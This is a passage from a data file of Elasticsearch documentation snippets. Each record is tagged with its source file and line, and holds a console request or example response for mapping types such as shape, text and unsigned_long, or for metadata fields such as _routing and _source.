{"source_location":{"file":"mapping/types/range.asciidoc","line":152},"digest":"7becc4d06e86ee20e9d6c417037710c7","lang":"console-result","found":[],"source":"{\n \"took\": 13,\n \"timed_out\": false,\n \"_shards\" : {\n \"total\": 2,\n \"successful\": 2,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"range_index\",\n \"_id\" : \"1\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"expected_attendees\" : {\n \"gte\" : 10, \"lt\" : 20\n },\n \"time_frame\" : {\n \"gte\" : \"2015-10-31 12:00:00\", \"lte\" : \"2015-11-01\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/range.asciidoc","line":195},"digest":"7f514e9e785e4323d16396359cb184f2","lang":"console","found":["ruby"],"source":"PUT range_index/_mapping\n{\n \"properties\": {\n \"ip_allowlist\": {\n \"type\": \"ip_range\"\n }\n }\n}\n\nPUT range_index/_doc/2\n{\n \"ip_allowlist\" : \"192.168.0.0/16\"\n}"}, {"source_location":{"file":"mapping/types/rank-feature.asciidoc","line":11},"digest":"ea61aa2531ea73ccc0acd2d41f0518eb","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"pagerank\": {\n \"type\": \"rank_feature\" <1>\n },\n \"url_length\": {\n \"type\": \"rank_feature\",\n \"positive_score_impact\": false <2>\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"pagerank\": 8,\n \"url_length\": 22\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"rank_feature\": {\n \"field\": \"pagerank\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/rank-features.asciidoc","line":16},"digest":"c725c72ead2dae0205a5a34a50d7ad83","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"topics\": {\n \"type\": \"rank_features\" <1>\n },\n \"negative_reviews\" : {\n \"type\": \"rank_features\",\n \"positive_score_impact\": false <2>\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"topics\": { <3>\n \"politics\": 20,\n \"economics\": 50.8\n },\n \"negative_reviews\": {\n \"1star\": 10,\n \"2star\": 100\n }\n}\n\nPUT my-index-000001/_doc/2\n{\n \"topics\": {\n \"politics\": 5.2,\n \"sports\": 80.1\n },\n \"negative_reviews\": {\n \"1star\": 1,\n \"2star\": 10\n }\n}\n\nGET my-index-000001/_search\n{\n \"query\": { <4>\n \"rank_feature\": {\n \"field\": \"topics.politics\"\n }\n }\n}\n\nGET my-index-000001/_search\n{\n \"query\": { <5>\n \"rank_feature\": {\n \"field\": \"negative_reviews.1star\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/search-as-you-type.asciidoc","line":18},"digest":"ac483996d479946d57c374c3a86b2621","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my_field\": {\n \"type\": \"search_as_you_type\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/search-as-you-type.asciidoc","line":71},"digest":"9e0e3ce27967f164f4585c5231ba9c75","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1?refresh\n{\n \"my_field\": \"quick brown fox jump lazy dog\"\n}"}, {"source_location":{"file":"mapping/types/search-as-you-type.asciidoc","line":87},"digest":"f9ee5d55a73f4c1fe7d507609047aefd","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"multi_match\": {\n \"query\": \"brown f\",\n \"type\": \"bool_prefix\",\n \"fields\": [\n \"my_field\",\n \"my_field._2gram\",\n \"my_field._3gram\"\n ]\n }\n }\n}"}, {"source_location":{"file":"mapping/types/search-as-you-type.asciidoc","line":106},"digest":"fcee08a51c788fb55cab4fd4e92908c7","lang":"console-result","found":[],"source":"{\n \"took\" : 44,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 0.8630463,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"1\",\n \"_score\" : 0.8630463,\n \"_source\" : {\n \"my_field\" : \"quick brown fox jump lazy dog\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/search-as-you-type.asciidoc","line":147},"digest":"c38c882c642dd412e8fa4c3eed49d12f","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match_phrase_prefix\": {\n \"my_field\": \"brown f\"\n }\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":76},"digest":"dabb159e0b3456024889fb9754a10655","lang":"console","found":["ruby"],"source":"PUT /example\n{\n \"mappings\": {\n \"properties\": {\n \"geometry\": {\n \"type\": \"shape\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":140},"digest":"484e24d1ed1a154ba9753e6090d38d78","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"point\",\n \"coordinates\" : [-377.03653, 389.897676]\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":153},"digest":"32a7acdfb7046966b28f394476c99126","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"POINT (-377.03653 389.897676)\"\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":170},"digest":"2ebcdd00ccbf26b4c8e6d9c80dfb3d55","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"linestring\",\n \"coordinates\" : [[-377.03653, 389.897676], [-377.009051, 389.889939]]\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":183},"digest":"33732208fc6e6fe1e8d278299681932e","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"LINESTRING (-377.03653 389.897676, -377.009051 389.889939)\"\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":199},"digest":"05500e77aef581d92f6c605f7a48f7df","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"polygon\",\n \"coordinates\" : [\n [ [1000.0, -1001.0], [1001.0, -1001.0], [1001.0, -1000.0], [1000.0, -1000.0], [1000.0, -1001.0] ]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":214},"digest":"b504119238b44cddd3b5944da20a498d","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"POLYGON ((1000.0 -1001.0, 1001.0 -1001.0, 1001.0 -1000.0, 1000.0 -1000.0, 1000.0 -1001.0))\"\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":226},"digest":"1cfa04e9654c1484e3d4c75bf439400a","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"polygon\",\n \"coordinates\" : [\n [ [1000.0, -1001.0], [1001.0, -1001.0], [1001.0, -1000.0], [1000.0, -1000.0], [1000.0, -1001.0] ],\n [ [1000.2, -1001.2], [1000.8, -1001.2], [1000.8, -1001.8], [1000.2, -1001.8], [1000.2, -1001.2] ]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":242},"digest":"ab1a989958c1d345a9dc3dd36ad90c27","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"POLYGON ((1000.0 1000.0, 1001.0 1000.0, 1001.0 1001.0, 1000.0 1001.0, 1000.0 1000.0), (1000.2 1000.2, 1000.8 1000.2, 1000.8 1000.8, 1000.2 1000.8, 1000.2 1000.2))\"\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":264},"digest":"fb3505d976283fb7c7b9705a761e0dc2","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"polygon\",\n \"orientation\" : \"clockwise\",\n \"coordinates\" : [\n [ [1000.0, 1000.0], [1000.0, 1001.0], [1001.0, 1001.0], [1001.0, 1000.0], [1000.0, 1000.0] ]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":284},"digest":"a45d80a3fdba70c1b1ba493e51652c8a","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"multipoint\",\n \"coordinates\" : [\n [1002.0, 1002.0], [1003.0, 2000.0]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":299},"digest":"b195068563b1dc0f721f5f8c8d172312","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"MULTIPOINT (1002.0 2000.0, 1003.0 2000.0)\"\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":313},"digest":"c654b09be981be12fc7be0ba33f8652b","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"multilinestring\",\n \"coordinates\" : [\n [ [1002.0, 200.0], [1003.0, 200.0], [1003.0, 300.0], [1002.0, 300.0] ],\n [ [1000.0, 100.0], [1001.0, 100.0], [1001.0, 100.0], [1000.0, 100.0] ],\n [ [1000.2, 100.2], [1000.8, 100.2], [1000.8, 100.8], [1000.2, 100.8] ]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":330},"digest":"a73a9a6f19516b8ead63182a9ae5b540","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"MULTILINESTRING ((1002.0 200.0, 1003.0 200.0, 1003.0 300.0, 1002.0 300.0), (1000.0 100.0, 1001.0 100.0, 1001.0 100.0, 1000.0 100.0), (1000.2 0.2, 1000.8 100.2, 1000.8 100.8, 1000.2 100.8))\"\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":344},"digest":"f4c194628761a4cf2a01453a96bbcc3c","lang":"console","found":[],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"multipolygon\",\n \"coordinates\" : [\n [ [[1002.0, 200.0], [1003.0, 200.0], [1003.0, 300.0], [1002.0, 300.0], [1002.0, 200.0]] ],\n [ [[1000.0, 200.0], [1001.0, 100.0], [1001.0, 100.0], [1000.0, 100.0], [1000.0, 100.0]],\n [[1000.2, 200.2], [1000.8, 100.2], [1000.8, 100.8], [1000.2, 100.8], [1000.2, 100.2]] ]\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":361},"digest":"c48b8bcd6f41e0d12b58e854e09ea893","lang":"console","found":[],"source":"POST /example/_doc\n{\n \"location\" : \"MULTIPOLYGON (((1002.0 200.0, 1003.0 200.0, 1003.0 300.0, 1002.0 300.0, 102.0 200.0)), ((1000.0 100.0, 1001.0 100.0, 1001.0 100.0, 1000.0 100.0, 1000.0 100.0), (1000.2 100.2, 1000.8 100.2, 1000.8 100.8, 1000.2 100.8, 1000.2 100.2)))\"\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":375},"digest":"fc51fbc60b0e20aac83300a43ad90252","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\": \"geometrycollection\",\n \"geometries\": [\n {\n \"type\": \"point\",\n \"coordinates\": [1000.0, 100.0]\n },\n {\n \"type\": \"linestring\",\n \"coordinates\": [ [1001.0, 100.0], [1002.0, 100.0] ]\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":397},"digest":"6e1ae8d6103e0b77f14fb0ea1bfb7ffa","lang":"console","found":["ruby"],"source":"POST /example/_doc\n{\n \"location\" : \"GEOMETRYCOLLECTION (POINT (1000.0 100.0), LINESTRING (1001.0 100.0, 1002.0 100.0))\"\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":412},"digest":"40d88d4f53343ef663c89ba488ab8001","lang":"console","found":[],"source":"POST /example/_doc\n{\n \"location\" : {\n \"type\" : \"envelope\",\n \"coordinates\" : [ [1000.0, 100.0], [1001.0, 100.0] ]\n }\n}"}, {"source_location":{"file":"mapping/types/shape.asciidoc","line":427},"digest":"57c690f8fa95bacf4b250803be7467e4","lang":"console","found":[],"source":"POST /example/_doc\n{\n \"location\" : \"BBOX (1000.0, 1002.0, 2000.0, 1000.0)\"\n}"}, {"source_location":{"file":"mapping/types/sparse-vector.asciidoc","line":13},"digest":"7011fcdd231804f9c3894154ae2c3fbc","lang":"console","found":["ruby"],"source":"PUT my-index\n{\n \"mappings\": {\n \"properties\": {\n \"text.tokens\": {\n \"type\": \"sparse_vector\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/text.asciidoc","line":39},"digest":"96e137e42d12c180e2c702db30714a9e","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"full_name\": {\n \"type\": \"text\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/text.asciidoc","line":184},"digest":"10535507a9735fcf06600444b9067d4c","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"text\": {\n \"type\": \"text\",\n \"fields\": {\n \"raw\": {\n \"type\": \"keyword\"\n }\n }\n }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"text\": [\n \"the quick brown fox\",\n \"the quick brown fox\",\n \"jumped over the lazy dog\"\n ]\n}"}, {"source_location":{"file":"mapping/types/text.asciidoc","line":214},"digest":"63cbb71882bd2f472d10047383331d0a","lang":"console-result","found":[],"source":"{\n \"text\": [\n \"jumped over the lazy dog\",\n \"the quick brown fox\"\n ]\n}"}, {"source_location":{"file":"mapping/types/text.asciidoc","line":233},"digest":"1e0f203aced9344382081ab095c44dde","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"text\": { \"type\": \"text\", \"store\": true }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"text\": [\n \"the quick brown fox\",\n \"the quick brown fox\",\n \"jumped over the lazy dog\"\n ]\n}"}, {"source_location":{"file":"mapping/types/text.asciidoc","line":256},"digest":"ecb55c86cb2ebac6461f20c243e58069","lang":"console-result","found":[],"source":"{\n \"text\": [\n \"the quick brown fox\",\n \"the quick brown fox\",\n \"jumped over the lazy dog\"\n ]\n}"}, {"source_location":{"file":"mapping/types/text.asciidoc","line":295},"digest":"afef5cac988592b97ae289ab39c2f437","lang":"console","found":["ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my_field\": { <1>\n \"type\": \"text\",\n \"fields\": {\n \"keyword\": { <2>\n \"type\": \"keyword\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/text.asciidoc","line":323},"digest":"d7919fb6f4d02dde1390775eb8365b79","lang":"console","found":["ruby","go"],"source":"PUT my-index-000001/_mapping\n{\n \"properties\": {\n \"my_field\": { <1>\n \"type\": \"text\",\n \"fielddata\": true\n }\n }\n}"}, {"source_location":{"file":"mapping/types/text.asciidoc","line":356},"digest":"4c95d54b32df4dc49e9762b6c1ae2c05","lang":"console","found":["ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"tag\": {\n \"type\": \"text\",\n \"fielddata\": true,\n \"fielddata_frequency_filter\": {\n \"min\": 0.001,\n \"max\": 0.1,\n \"min_segment_size\": 500\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/match-only-text.asciidoc","line":26},"digest":"99a56f423df3a0e57b7f20146f0d33b5","lang":"console","found":["ruby"],"source":"PUT logs\n{\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\"\n },\n \"message\": {\n \"type\": \"match_only_text\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/token-count.asciidoc","line":14},"digest":"50522d3d5b3d055f712ad737e3d1707a","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"name\": { <1>\n \"type\": \"text\",\n \"fields\": {\n \"length\": { <2>\n \"type\": \"token_count\",\n \"analyzer\": \"standard\"\n }\n }\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{ \"name\": \"John Smith\" }\n\nPUT my-index-000001/_doc/2\n{ \"name\": \"Rachel Alice Williams\" }\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"term\": {\n \"name.length\": 3 <3>\n }\n }\n}"}, {"source_location":{"file":"mapping/types/unsigned_long.asciidoc","line":13},"digest":"86926bcebf213ac182d4373027554858","lang":"console","found":["ruby"],"source":"PUT my_index\n{\n \"mappings\": {\n \"properties\": {\n \"my_counter\": {\n \"type\": \"unsigned_long\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/unsigned_long.asciidoc","line":31},"digest":"bed14cc152522ca0726ac3746ebc31db","lang":"console","found":["ruby"],"source":"POST /my_index/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"my_counter\": 0}\n{\"index\":{\"_id\":2}}\n{\"my_counter\": 9223372036854775808}\n{\"index\":{\"_id\":3}}\n{\"my_counter\": 18446744073709551614}\n{\"index\":{\"_id\":4}}\n{\"my_counter\": 18446744073709551615}"}, {"source_location":{"file":"mapping/types/unsigned_long.asciidoc","line":47},"digest":"27600d6a78623b69689d4218618e4278","lang":"console","found":["ruby"],"source":"GET /my_index/_search\n{\n \"query\": {\n \"term\" : {\n \"my_counter\" : 18446744073709551615\n }\n }\n}"}, {"source_location":{"file":"mapping/types/unsigned_long.asciidoc","line":68},"digest":"45499ed1824d1d7cb59972580d2344cb","lang":"console","found":["ruby"],"source":"GET /my_index/_search\n{\n \"query\": {\n \"range\" : {\n \"my_counter\" : {\n \"gte\" : \"9223372036854775808\",\n \"lte\" : \"18446744073709551615\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/unsigned_long.asciidoc","line":93},"digest":"1adee74383e5594e45c937177d75aa2a","lang":"console","found":["ruby"],"source":"GET /my_index/_search\n{\n \"query\": {\n \"match_all\" : {}\n },\n \"sort\" : {\"my_counter\" : \"desc\"}\n}"}, {"source_location":{"file":"mapping/types/unsigned_long.asciidoc","line":125},"digest":"86c5594c4ec551391096c1abcd652b50","lang":"console","found":["ruby"],"source":"GET /my_index/_search\n{\n \"query\": {\n \"match_all\" : {}\n },\n \"script_fields\": {\n \"count10\" : {\n \"script\": {\n \"source\": \"Long.divideUnsigned(doc['my_counter'].value, 10)\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/unsigned_long.asciidoc","line":159},"digest":"2e847378ba26aa64d40186b6e3e6a1da","lang":"console","found":["ruby"],"source":"GET /my_index/_search\n{\n \"query\": {\n \"script_score\": {\n \"query\": {\"match_all\": {}},\n \"script\": {\n \"source\": \"field('my_counter').asBigInteger(BigInteger.ZERO).floatValue()\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/version.asciidoc","line":19},"digest":"e2883c88b5ceca9fce1e70e716d80025","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my_version\": {\n \"type\": \"version\"\n }\n }\n }\n}\n"}, {"source_location":{"file":"mapping/types/version.asciidoc","line":86},"digest":"8bf51fd50195b46bacbf872f460ebec2","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": { \"mode\": \"synthetic\" },\n \"properties\": {\n \"versions\": { \"type\": \"version\" }\n }\n }\n}\nPUT idx/_doc/1\n{\n \"versions\": [\"8.0.0-beta1\", \"8.5.0\", \"0.90.12\", \"2.6.1\", \"1.3.4\", \"1.3.4\"]\n}"}, {"source_location":{"file":"mapping/types/version.asciidoc","line":106},"digest":"f232503fe23f3c7bccf2cb8df600c544","lang":"console-result","found":[],"source":"{\n \"versions\": [\"0.90.12\", \"1.3.4\", \"2.6.1\", \"8.0.0-beta1\", \"8.5.0\"]\n}"}, {"source_location":{"file":"mapping/fields/doc-count-field.asciidoc","line":34},"digest":"fc3f5f40fa283559ca615cd0eb0a1755","lang":"console","found":["ruby"],"source":"PUT my_index\n{\n \"mappings\" : {\n \"properties\" : {\n \"my_histogram\" : {\n \"type\" : \"histogram\"\n },\n \"my_text\" : {\n \"type\" : \"keyword\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/doc-count-field.asciidoc","line":54},"digest":"505a6c21a4cb608d3662fab1a35eb6df","lang":"console","found":["ruby"],"source":"PUT my_index/_doc/1\n{\n \"my_text\" : \"histogram_1\",\n \"my_histogram\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5],\n \"counts\" : [3, 7, 23, 12, 6]\n },\n \"_doc_count\": 45 <1>\n}\n\nPUT my_index/_doc/2\n{\n \"my_text\" : \"histogram_2\",\n \"my_histogram\" : {\n \"values\" : [0.1, 0.25, 0.35, 0.4, 0.45, 0.5],\n \"counts\" : [8, 17, 8, 7, 6, 2]\n },\n \"_doc_count\": 62 <1>\n}"}, {"source_location":{"file":"mapping/fields/doc-count-field.asciidoc","line":80},"digest":"441be98c597698bb2809372abf086c3e","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggs\" : {\n \"histogram_titles\" : {\n \"terms\" : { \"field\" : \"my_text\" }\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/doc-count-field.asciidoc","line":94},"digest":"7503bf4ea0abec493cc4b68a9e3a2455","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"histogram_titles\" : {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\" : [\n {\n \"key\" : \"histogram_2\",\n \"doc_count\" : 62\n },\n {\n \"key\" : \"histogram_1\",\n \"doc_count\" : 45\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/ignored-field.asciidoc","line":21},"digest":"3fe0fb38f75d2a34fb1e6ac9bedbcdbc","lang":"console","found":["ruby"],"source":"GET _search\n{\n \"query\": {\n \"exists\": {\n \"field\": \"_ignored\"\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/ignored-field.asciidoc","line":36},"digest":"cf47cd4a39cd62a3ecad919e54a67bca","lang":"console","found":["ruby"],"source":"GET _search\n{\n \"query\": {\n \"term\": {\n \"_ignored\": \"@timestamp\"\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/id-field.asciidoc","line":14},"digest":"8c8b5224befab7804461c7e7b6086d9a","lang":"console","found":["python","ruby","go"],"source":"# Example documents\nPUT my-index-000001/_doc/1\n{\n \"text\": \"Document with ID 1\"\n}\n\nPUT my-index-000001/_doc/2?refresh=true\n{\n \"text\": \"Document with ID 2\"\n}\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"terms\": {\n \"_id\": [ \"1\", \"2\" ] <1>\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/index-field.asciidoc","line":11},"digest":"3c04f75bcbb07125d51b21b9b2c9f6f0","lang":"console","found":["ruby"],"source":"PUT index_1/_doc/1\n{\n \"text\": \"Document in index 1\"\n}\n\nPUT index_2/_doc/2?refresh=true\n{\n \"text\": \"Document in index 2\"\n}\n\nGET index_1,index_2/_search\n{\n \"query\": {\n \"terms\": {\n \"_index\": [\"index_1\", \"index_2\"] <1>\n }\n },\n \"aggs\": {\n \"indices\": {\n \"terms\": {\n \"field\": \"_index\", <2>\n \"size\": 10\n }\n }\n },\n \"sort\": [\n {\n \"_index\": { <3>\n \"order\": \"asc\"\n }\n }\n ],\n \"script_fields\": {\n \"index_name\": {\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"doc['_index']\" <4>\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/meta-field.asciidoc","line":9},"digest":"3e1cb34fd6e510c79c2fff2126ac1c61","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"_meta\": { <1>\n \"class\": \"MyApp::User\",\n \"version\": {\n \"min\": \"1.0\",\n \"max\": \"1.3\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/meta-field.asciidoc","line":31},"digest":"74b13ceb6cda3acaa9e9f58c9e5e2431","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_mapping\n{\n \"_meta\": {\n \"class\": \"MyApp2::User3\",\n \"version\": {\n \"min\": \"1.3\",\n \"max\": \"1.5\"\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/routing-field.asciidoc","line":20},"digest":"123693835b3b85b9a2fa6fd1d3ad89c7","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1?routing=user1&refresh=true <1>\n{\n \"title\": \"This is a document\"\n}\n\nGET my-index-000001/_doc/1?routing=user1 <2>"}, {"source_location":{"file":"mapping/fields/routing-field.asciidoc","line":38},"digest":"7dd481337e40f16185f3baa3fc2cce15","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"terms\": {\n \"_routing\": [ \"user1\" ] <1>\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/routing-field.asciidoc","line":62},"digest":"02b00f21e9d23d82276ace0dd154d779","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search?routing=user1,user2 <1>\n{\n \"query\": {\n \"match\": {\n \"title\": \"document\"\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/routing-field.asciidoc","line":87},"digest":"3fe79ed63195c5f8018648a5a6d645f6","lang":"console","found":["ruby"],"source":"PUT my-index-000002\n{\n \"mappings\": {\n \"_routing\": {\n \"required\": true <1>\n }\n }\n}\n\nPUT my-index-000002/_doc/1 <2>\n{\n \"text\": \"No routing value provided\"\n}"}, {"source_location":{"file":"mapping/fields/synthetic-source.asciidoc","line":17},"digest":"0bef1fdefeb2956d60d52d3f38397cad","lang":"console","found":["ruby"],"source":"PUT idx\n{\n \"mappings\": {\n \"_source\": {\n \"mode\": \"synthetic\"\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/synthetic-source.asciidoc","line":76},"digest":"9382f022086c692ba05efb0acae65946","lang":"console","found":["ruby"],"source":"PUT idx/_doc/1\n{\n \"foo\": [\n {\n \"bar\": 1\n },\n {\n \"bar\": 2\n }\n ]\n}"}, {"source_location":{"file":"mapping/fields/synthetic-source.asciidoc","line":94},"digest":"4c839ff5e58a30a6b509ad2e20bc5ae2","lang":"console-result","found":[],"source":"{\n \"foo\": {\n \"bar\": [1, 2]\n }\n}"}, {"source_location":{"file":"mapping/fields/synthetic-source.asciidoc","line":106},"digest":"62d3c8fccb11471bdc12555c1a7777f2","lang":"console","found":["ruby"],"source":"PUT idx/_doc/1\n{\n \"foo\": [\n {\n \"bar\": 1\n },\n {\n \"baz\": 2\n }\n ]\n}"}, {"source_location":{"file":"mapping/fields/synthetic-source.asciidoc","line":124},"digest":"73673df33f437725802d2c52b053ceea","lang":"console-result","found":[],"source":"{\n \"foo\": {\n \"bar\": 1,\n \"baz\": 2\n }\n}"}, {"source_location":{"file":"mapping/fields/synthetic-source.asciidoc","line":142},"digest":"50d9c0508ddb0fc5ba5a893eec219dd8","lang":"console","found":[],"source":"PUT idx/_doc/1\n{\n \"foo.bar.baz\": 1\n}"}, {"source_location":{"file":"mapping/fields/synthetic-source.asciidoc","line":153},"digest":"440b6e7e8939bc4a43a0a81d57d6362b","lang":"console-result","found":[],"source":"{\n \"foo\": {\n \"bar\": {\n \"baz\": 1\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/source-field.asciidoc","line":24},"digest":"b9f716219359a6c973dafc50b348de33","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"_source\": {\n \"enabled\": false\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/source-field.asciidoc","line":80},"digest":"b557f114e21dbc6f531d4e7621a08e8f","lang":"console","found":["ruby"],"source":"PUT logs\n{\n \"mappings\": {\n \"_source\": {\n \"includes\": [\n \"*.count\",\n \"meta.*\"\n ],\n \"excludes\": [\n \"meta.description\",\n \"meta.other.*\"\n ]\n }\n }\n}\n\nPUT logs/_doc/1\n{\n \"requests\": {\n \"count\": 10,\n \"foo\": \"bar\" <1>\n },\n \"meta\": {\n \"name\": \"Some metric\",\n \"description\": \"Some metric description\", <1>\n \"other\": {\n \"foo\": \"one\", <1>\n \"baz\": \"two\" <1>\n }\n }\n}\n\nGET logs/_search\n{\n \"query\": {\n \"match\": {\n \"meta.other.foo\": \"one\" <2>\n }\n }\n}"}, {"source_location":{"file":"mapping/fields/tier-field.asciidoc","line":10},"digest":"ff945f5db7d8a9b0d9f6a2f2fcf849e3","lang":"console","found":["ruby"],"source":"PUT index_1/_doc/1\n{\n \"text\": \"Document in index 1\"\n}\n\nPUT index_2/_doc/2?refresh=true\n{\n \"text\": \"Document in index 2\"\n}\n\nGET index_1,index_2/_search\n{\n \"query\": {\n \"terms\": {\n \"_tier\": [\"data_hot\", \"data_warm\"] <1>\n }\n }\n}"}, {"source_location":{"file":"mapping/params/analyzer.asciidoc","line":38},"digest":"3ec95ba697ff97ee2d1a721a393b5926","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\":{\n \"analysis\":{\n \"analyzer\":{\n \"my_analyzer\":{ <1>\n \"type\":\"custom\",\n \"tokenizer\":\"standard\",\n \"filter\":[\n \"lowercase\"\n ]\n },\n \"my_stop_analyzer\":{ <2>\n \"type\":\"custom\",\n \"tokenizer\":\"standard\",\n \"filter\":[\n \"lowercase\",\n \"english_stop\"\n ]\n }\n },\n \"filter\":{\n \"english_stop\":{\n \"type\":\"stop\",\n \"stopwords\":\"_english_\"\n }\n }\n }\n },\n \"mappings\":{\n \"properties\":{\n \"title\": {\n 